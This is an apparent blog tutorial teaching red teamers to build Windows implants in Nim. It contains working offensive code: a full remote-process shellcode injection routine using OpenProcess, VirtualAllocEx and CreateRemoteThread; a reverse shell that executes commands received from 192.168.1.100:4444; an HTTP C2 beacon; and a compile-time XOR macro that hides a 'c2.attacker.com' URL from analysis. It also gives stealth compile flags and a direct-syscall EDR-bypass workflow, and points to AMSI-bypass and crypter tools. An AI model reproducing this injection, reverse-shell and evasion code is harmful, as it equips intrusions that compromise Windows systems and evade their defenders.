Nim is a systems language that compiles to C by default (with C++, Objective-C, and JavaScript backends also available), has syntax close to Python’s, and got popular in offensive tooling roughly because of two practical facts: it produces small native binaries with an API surface that AV/EDR engines didn’t have a lot of training data for, and it can talk to the Windows API as naturally as C does. The first advantage is shrinking — defenders have noticed — but the second one is permanent, and the development ergonomics are genuinely pleasant compared to writing raw C.
This post is a Nim tour aimed at red teamers: the language fundamentals, the offensive ecosystem that’s grown up around it (winim, OffensiveNim, NimlineWhispers, Nim-RunPE, NimPackt, Nimcrypt2), the compile-time tricks that make Nim particularly good for obfuscation, and a candid look at where the “Nim evades EDR” claim still holds versus where it’s a 2021 talking point. If you’re picking up Nim today for offense, you should understand both halves.
Why Nim, and why now#
Most modern AV/EDR engines have years of trained signatures and behavioral rules covering C, C++, C#, PowerShell, and Go. Nim wasn’t well covered through 2020 — TA800’s NimzaLoader landed in February 2021 and is roughly when public detection content for Nim payloads started showing up in earnest, with the bulk of vendor signature work catching up through 2022 and 2023. Nim binaries are no longer invisible, but they’re still less well-represented in detection corpora than the mainstream languages, and the standard library has its own idiosyncrasies that don’t match the patterns those engines were tuned on.
That advantage is real, and it’s also temporary. Treat “novel binary signature” as a soft benefit that decays as Nim becomes more common, not as a strategy. The durable reasons to pick Nim are the language ones:
- It compiles to C and then to native code, so calling into the Windows API has no FFI overhead.
winimgives you the entire Win32 surface as ordinary Nim calls. - The syntax is close enough to Python that if you can write Python you can write Nim, and the type system is closer to what you’d get from a real systems language than Python’s is.
- Compile-time macros are first-class. You can transform code, encrypt strings, and generate stubs before the binary exists, which is exactly the kind of thing you want when the static analysis surface matters.
- Cross-compilation from Linux to Windows just works (
-d:mingw). - Binaries are small enough to drop or stage, especially with size optimization.
The cost is a smaller ecosystem than Python or Go, occasional rough edges around debugging, and the fact that some of the community-maintained offensive projects haven’t been updated in a couple of years. You will sometimes have to fix things yourself.
Setting up#
Installing the toolchain#
choosenim is the version manager. On Linux or macOS:
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
export PATH=$HOME/.nimble/bin:$PATHOn Windows, either grab the installer from nim-lang.org/install.html or use scoop:
scoop install nimVerify:
nim --version
nimble --version # package managerFirst program#
# hello.nim
echo "Hello, fellow hackers!"nim c -r hello.nimnim c -r compiles and runs in one step. For real builds you’ll want explicit flags; we’ll get to those.
Language fundamentals#
This section is a fast tour. If you already write Python and know what a struct is, you can probably skim it.
Variables#
Three keywords, all immutable-by-default unless you say otherwise:
const PI = 3.14159 # compile-time constant
let target = "192.168.1.10" # runtime constant, computed once
var counter = 0 # mutable
counter += 1
# Type inference
var name = "UncleSp1d3r" # string
var port = 443 # int
# Explicit type annotation
var targetIP: string = "10.10.10.10"
var targetPort: int = 8080let is the one you reach for most. var is for things that genuinely change.
Scalar types#
var a: int = 42 # platform-native int (32 or 64 bit)
var b: int8 = -128 # signed 8-bit
var c: uint16 = 65535 # unsigned 16-bit
var d: int64 = 0xDEADBEEF # 64-bit
var ratio: float = 0.75
var precise: float64 = 3.14159265358979
var isAdmin: bool = true
var letter: char = 'A'
var payload: string = "calc.exe"Compound types#
# Arrays: fixed length, single type
var shellcode: array[4, byte] = [0x90.byte, 0x90, 0xCC, 0xC3]
# Sequences: dynamic arrays
var ports: seq[int] = @[22, 80, 443, 3389]
ports.add(445)
# Tuples: fixed length, mixed types
var target: tuple[ip: string, port: int] = ("192.168.1.1", 445)
echo target.ip
# Objects: structs
type
Target = object
ip: string
port: int
isOpen: bool
var dc = Target(ip: "10.10.10.1", port: 88, isOpen: true)Operators#
The bitwise ones matter for shellcode work; the rest are unsurprising.
var quotient = 10 div 3 # integer division → 3
var remainder = 10 mod 3 # modulo → 1
var power = 2 ^ 8 # exponentiation for ints
var xorResult = 0xAA xor 0x55 # XOR
var shiftLeft = 1 shl 3 # 8
var shiftRight = 0x80 shr 4 # 0x08Control flow#
If/elif/else:
proc checkPort(port: int) =
if port < 1024:
echo "Port ", port, " is privileged"
elif port == 3389:
echo "Port ", port, " is RDP"
else:
echo "Port ", port, " is a high port"Case statements (these are exhaustive — you’ll get a compile error if you miss a branch on an enum):
proc getService(port: int): string =
case port
of 22: "SSH"
of 80, 8080: "HTTP"
of 443: "HTTPS"
of 445: "SMB"
of 3389: "RDP"
else: "Unknown"Loops:
for i in 1..10:
echo "Iteration: ", i
for port in @[22, 80, 443]:
echo "Scanning port: ", port
var count = 5
while count > 0:
echo "Countdown: ", count
count -= 1Procedures#
Functions are proc. The last expression is the implicit return value, and every proc has an implicit result variable you can mutate instead of building up a return value yourself.
proc add(a, b: int): int =
return a + b
proc multiply(a, b: int): int =
a * b # implicit return
proc scanPort(ip: string, port: int, timeout: int = 1000): bool =
echo "Scanning ", ip, ":", port
true
proc buildPayload(cmd: string): string =
result = "powershell -enc "
result.add(cmd)
# result is returned automatically
discard scanPort("192.168.1.1", 445)
discard scanPort("192.168.1.1", 445, 5000)discard is how you throw away a return value you don’t want. Nim will warn (or error, with --warningAsError) if you ignore a non-void return without it.
Talking to the Windows API with winim#
This is where Nim earns its place in offensive tooling. winim by khchen is a near-complete set of Nim bindings for the Win32 API, COM, and Windows data types, with no FFI shim layer in between. You call MessageBox the same way you call echo.
nimble install winimA trivial MessageBox#
import winim/lean
proc main() =
MessageBox(0, "Your system has been audited.", "Security Notice",
MB_OK or MB_ICONWARNING)
main()Compile for Windows (from Linux):
nim c -d:mingw --app:gui --opt:size messagebox.nimwinim/lean is the core SDK only; the default import winim adds the Shell/OLE pieces; COM is opt-in either way through import winim/com. Use lean unless you need the extra surface — it compiles faster and produces smaller binaries.
Process enumeration#
You usually need a target PID before you do anything interesting:
import winim/lean
proc findProcess(name: string): DWORD =
var snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
var entry: PROCESSENTRY32
entry.dwSize = cast[DWORD](sizeof(entry))
if Process32First(snapshot, addr entry) == TRUE:
while true:
let processName = $cast[WideCString](addr entry.szExeFile[0])
if processName.toLowerAscii().contains(name.toLowerAscii()):
CloseHandle(snapshot)
return entry.th32ProcessID
if Process32Next(snapshot, addr entry) == FALSE:
break
CloseHandle(snapshot)
return 0
let explorerPid = findProcess("explorer.exe")
echo "Explorer PID: ", explorerPidThis is the same Toolhelp32 walk you’d write in C, just with Nim’s string handling on top.
Classic shellcode injection#
The standard pattern is OpenProcess → VirtualAllocEx → WriteProcessMemory → VirtualProtectEx → CreateRemoteThread. You allocate as PAGE_READWRITE and flip to PAGE_EXECUTE_READ before launching the thread — straight PAGE_EXECUTE_READWRITE allocations are one of the most reliable behavioral signatures EDRs catch.
import winim/lean
# Replace with your payload: msfvenom -p windows/x64/exec CMD=calc.exe -f nim
var shellcode: array[276, byte] = [
byte 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48
# truncated
]
proc inject(pid: DWORD) =
let pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
if pHandle == 0:
echo "[-] OpenProcess failed"
return
let rPtr = VirtualAllocEx(
pHandle, NULL, cast[SIZE_T](shellcode.len),
MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE
)
if rPtr == NULL:
echo "[-] VirtualAllocEx failed"
CloseHandle(pHandle)
return
var bytesWritten: SIZE_T
if WriteProcessMemory(pHandle, rPtr, unsafeAddr shellcode,
cast[SIZE_T](shellcode.len), addr bytesWritten) == 0:
echo "[-] WriteProcessMemory failed"
CloseHandle(pHandle)
return
var oldProtect: DWORD
discard VirtualProtectEx(pHandle, rPtr, cast[SIZE_T](shellcode.len),
PAGE_EXECUTE_READ, addr oldProtect)
var threadId: DWORD
let hThread = CreateRemoteThread(
pHandle, NULL, 0, cast[LPTHREAD_START_ROUTINE](rPtr),
NULL, 0, addr threadId
)
if hThread != 0:
echo "[+] Thread ID: ", threadId
else:
echo "[-] CreateRemoteThread failed"
CloseHandle(hThread)
CloseHandle(pHandle)
inject(1234)This is the textbook injection sequence. It works, and modern EDRs will catch it on most managed endpoints — CreateRemoteThread into a foreign process is exactly the kind of behavior they’re watching for. The point of showing it isn’t that it’s stealthy; it’s that this is the baseline you build variants off of, and everything else in the ecosystem (Nim-RunPE’s reflective loading, NimPackt’s various packers, the injection variants in OffensiveNim) is some twist on it: process hollowing, APC injection, thread hijacking, indirect syscalls.
A note on the RW-then-flip-to-RX pattern above: it’s stealthier than a direct PAGE_EXECUTE_READWRITE allocation, but it’s not a bypass on a modern EDR. The transition from non-executable to executable on a private (non-image) memory region — especially when followed by thread creation pointing into that region — is itself a high-confidence behavioral signal. The injection family that actually still works against good EDRs is built on top of techniques like module stomping, thread-pool callbacks, or executable-section reuse, not on this base pattern.
Compilation flags that matter#
How you compile is at least as important as what you compile. The defaults leave debug symbols, runtime checks, and console windows.
# Dev build: fast compile, runtime checks on
nim c payload.nim
# Release: optimized, some checks remain
nim c -d:release payload.nim
# "Danger" mode: no runtime checks at all
nim c -d:danger payload.nim
# Production shape for a Windows payload
nim c -d:danger --opt:size --app:gui --passL:-s payload.nimFlag reference:
| Flag | What it does |
|---|---|
-d:danger | Strip all runtime checks (bounds, overflow, etc.) |
-d:release | Optimize, keep some safety checks |
--opt:size | Optimize for binary size |
--opt:speed | Optimize for runtime speed |
--app:gui | No console window (critical for stealth) |
--app:console | Console window (default) |
--passL:-s | Strip symbols at link time |
--passL:-static | Static link (larger, no DLL deps) |
-d:mingw | Cross-compile to Windows from Linux |
--cpu:amd64 | 64-bit target |
--cpu:i386 | 32-bit target |
Cross-compiling from Linux is one of Nim’s nicer ergonomic wins:
sudo apt install mingw-w64
nim c -d:mingw -d:danger --opt:size --app:gui --cpu:amd64 payload.nimAfter the build, strip payload.exe removes whatever the linker missed. upx --best payload.exe will halve the size, but UPX-packed binaries are themselves a signature — depending on the engagement that’s a fine tradeoff or a terrible one.
Compile-time obfuscation#
The macro system is the part of Nim that most consistently surprises people coming from other languages. Macros run at compile time and operate on the AST, so you can transform code, encrypt data, and generate stubs before the binary exists. The most useful application for offense is string encryption.
Encrypting strings before they hit the binary#
Plaintext strings — URLs, command lines, error messages — are how most simple-minded analysis works. strings malware.exe | grep -i http is sometimes all you need. A compile-time XOR macro keeps the plaintext out of the binary entirely:
import std/macros
const XOR_KEY = 0x5A
macro encryptString(s: static[string]): untyped =
var encryptedBytes: seq[byte] = @[]
for c in s:
encryptedBytes.add(byte(ord(c) xor XOR_KEY))
var arrayLit = nnkBracket.newTree()
for b in encryptedBytes:
arrayLit.add(newLit(b))
result = quote do:
`arrayLit`
proc decryptString(encrypted: openArray[byte]): string =
result = ""
for b in encrypted:
result.add(char(b xor XOR_KEY))
let encryptedUrl = encryptString("http://c2.attacker.com/beacon")
let decryptedUrl = decryptString(encryptedUrl)
echo decryptedUrlstrings on the resulting binary will not find the URL — only the encrypted byte array. XOR with a single-byte key is not real cryptography; for a more serious engagement use a stronger compile-time cipher or the Denim
obfuscator. But the principle is what matters: the plaintext can live entirely in the source, never in the artifact.
Timing-based anti-analysis (don’t oversell this)#
Templates and macros can also inject opaque control flow and timing checks. A naive example:
import std/times
template timingCheck() =
let start = cpuTime()
var dummy = 0
for i in 0..100:
dummy += i
if cpuTime() - start > 0.5:
quit(1)
timingCheck()
# ... payload ...
timingCheck()Real anti-debug uses IsDebuggerPresent, CheckRemoteDebuggerPresent, RDTSC deltas, or NtQueryInformationProcess with ProcessDebugPort. The 100-iteration cpuTime() check above is illustrative, not a serious defense — any analyst is bypassing this in under a minute. The interesting thing about Nim’s macro system here is that you can sprinkle hundreds of these throughout the code at compile time without touching the source, which makes the resulting CFG ugly to graph.
Direct syscalls and unhooking#
User-mode EDR hooks live in ntdll.dll. When your process calls VirtualAlloc, control goes through the kernel32 wrapper, into ntdll’s NtAllocateVirtualMemory (where the EDR has typically installed a JMP to its own handler), then eventually to the actual syscall. If you can issue the syscall directly — load eax with the syscall number, set up the registers, syscall — you skip the hook entirely.
NimlineWhispers3 generates Nim wrappers for the Nt-prefixed Native API calls with inline assembly syscall stubs, parameterized on the target Windows version (syscall numbers shift between builds, so a hardcoded table goes stale fast).
git clone https://github.com/klezVirus/NimlineWhispers3
python3 NimlineWhispers3.py --os Windows10 --arch x64Instead of:
# Hooked path through ntdll
VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE)You end up calling:
# Direct syscall, bypasses ntdll hooks
NtAllocateVirtualMemory(processHandle, addr baseAddress, 0, addr regionSize,
MEM_COMMIT, PAGE_READWRITE)A few caveats. Direct syscalls evade user-mode hooks but not kernel-mode telemetry — ETW-TI, kernel callbacks, and PPL-protected EDR services see what you’re doing regardless of how you got there. Mature EDRs increasingly flag the absence of expected hooked-path call patterns: if a process makes a hundred syscalls and zero of them go through ntdll, that’s its own anomaly. Indirect syscalls (where the syscall instruction lives inside ntdll itself but you jumped there from your own code) are the current iteration on top of this.
The offensive Nim ecosystem#
A lot of the value of picking Nim is that someone has already written most of the load-bearing parts. The ones worth knowing:
| Project | What it is |
|---|---|
| OffensiveNim | The reference repo. Templates for shellcode injection, AMSI bypass, ETW patching, token manipulation, DLL injection. Start here. |
| winim | The Windows API bindings everything else depends on. |
| NimlineWhispers3 | Direct syscall stub generator. |
| Nim-RunPE | Reflective PE loading — maps a PE into the current process. (Despite the name, it isn’t classic RunPE-style process hollowing.) |
| NimPackt-v1 | Shellcode packer with several injection backends. |
| Nimcrypt2 | Crypter with multiple encryption and evasion options. |
| Denim | Source-level obfuscator. |
A practical workflow: start from an OffensiveNim template that matches your injection technique, swap in NimlineWhispers stubs for the user-mode-hooked calls you care about, then run the source through Denim or hand-roll your macro obfuscation before final compile. None of this is novel — it’s the same pipeline a competent C tooling shop uses, just with less ceremony.
A real warning on staleness: as of mid-2026, NimlineWhispers3, NimPackt-v1, Nimcrypt2, and Denim haven’t seen a commit in roughly three to four years. They still work, but the SysWhispers3 lineage NimlineWhispers wraps has been superseded for cutting-edge evasion by indirect-syscall variants (Hell’s Gate, Halo’s Gate, Tartarus’ Gate, HellHall, RecycledGate, FreshyCalls). OffensiveNim, winim, and Nim-RunPE are the actively maintained ones in this list. Read the commit history before you adopt any of them for an engagement.
Networking#
C2 communication is rarely the interesting part of an implant, but you do need it.
HTTP client#
import std/httpclient
proc beacon(url: string): string =
let client = newHttpClient()
try:
result = client.getContent(url)
except CatchableError:
result = ""
finally:
client.close()
echo beacon("http://localhost:8080/tasks")Set a userAgent on the client that matches whatever browser or app you’re trying to look like, and consider TLS pinning if you’re impersonating a specific service.
Raw sockets#
For a quick reverse shell:
import std/[net, osproc]
proc connectBack(ip: string, port: int) =
let socket = newSocket()
socket.connect(ip, Port(port))
while true:
let command = socket.recvLine()
if command == "":
break
let output = execProcess(command)
socket.send(output & "\n")
socket.close()
connectBack("192.168.1.100", 4444)A reverse shell binary that spawns cmd.exe or powershell.exe is going to get caught by any halfway-competent EDR. This is a primitive, not a tool you’d ship.
Honest comparison#
| Feature | Nim | Python | C/C++ | C# |
|---|---|---|---|---|
| Development speed | High | Very high | Low | Medium |
| Execution speed | Native | Slow | Native | JIT |
| Binary size | Small to medium | Large (PyInstaller) | Smallest | Medium |
| EDR signature novelty | Moderate, shrinking | Low | Low (known) | Low (very known) |
| WinAPI access | Easy via winim | Easy via ctypes | Native | Easy via P/Invoke |
| Cross-compilation | Excellent (-d:mingw) | N/A | Painful | Limited |
| Learning curve | Low (Python-like) | Very low | Steep | Moderate |
| Community offensive tooling | Active but small | Extensive | Extensive | Extensive |
Reach for Nim when you’re building custom loaders, stagers, or implants and you want C-level access without writing C. Reach for C# when the target environment is heavily .NET and you want easy interop with managed assemblies. Reach for C or Rust when you need maximum control or minimum binary size. Reach for Python when you’re prototyping and shellcode delivery isn’t the constraint.
The reason “Nim evades EDR” was the cliche in 2021 and isn’t anymore: the major EDR vendors now have detection content for the common offensive Nim patterns. The compiled output is still less well-represented than C# or PowerShell, but it’s no longer the get-out-of-jail-free card it was three years ago. Use Nim because the development experience is good and the WinAPI integration is clean. Treat the signature novelty as a bonus that’s actively decaying.
Closing#
Nim sits in a sweet spot. The syntax is friendly enough that you can iterate fast, the compile model gives you actual native binaries with reasonable size, the WinAPI integration through winim is as clean as you’re going to find outside C, and the macro system lets you do compile-time obfuscation that’s a real pain to do in most other languages. The community offensive tooling (OffensiveNim, NimlineWhispers, Nim-RunPE, NimPackt, Nimcrypt2, Denim) covers most of the patterns you’d want.
What you don’t get is a permanent evasion advantage. That window is closing as fast as defenders care to close it. What you do get is a productive language for writing the kind of tool you’d otherwise have to write in C, with less footgunning and a faster edit-compile-test loop. For an operator who has to ship custom tooling on a deadline, that’s the actual value proposition.
References#
- Nim language documentation
- Nim by Example
- winim — Windows API bindings
- OffensiveNim by byt3bl33d3r
- NimlineWhispers3
- Nim-RunPE
- NimPackt-v1
- Nimcrypt2
- Denim — source-level obfuscator for Nim
- SysWhispers by Jackson T. — the original direct-syscall generator NimlineWhispers descends from
- MDSec: Bypassing user-mode hooks and direct invocation of system calls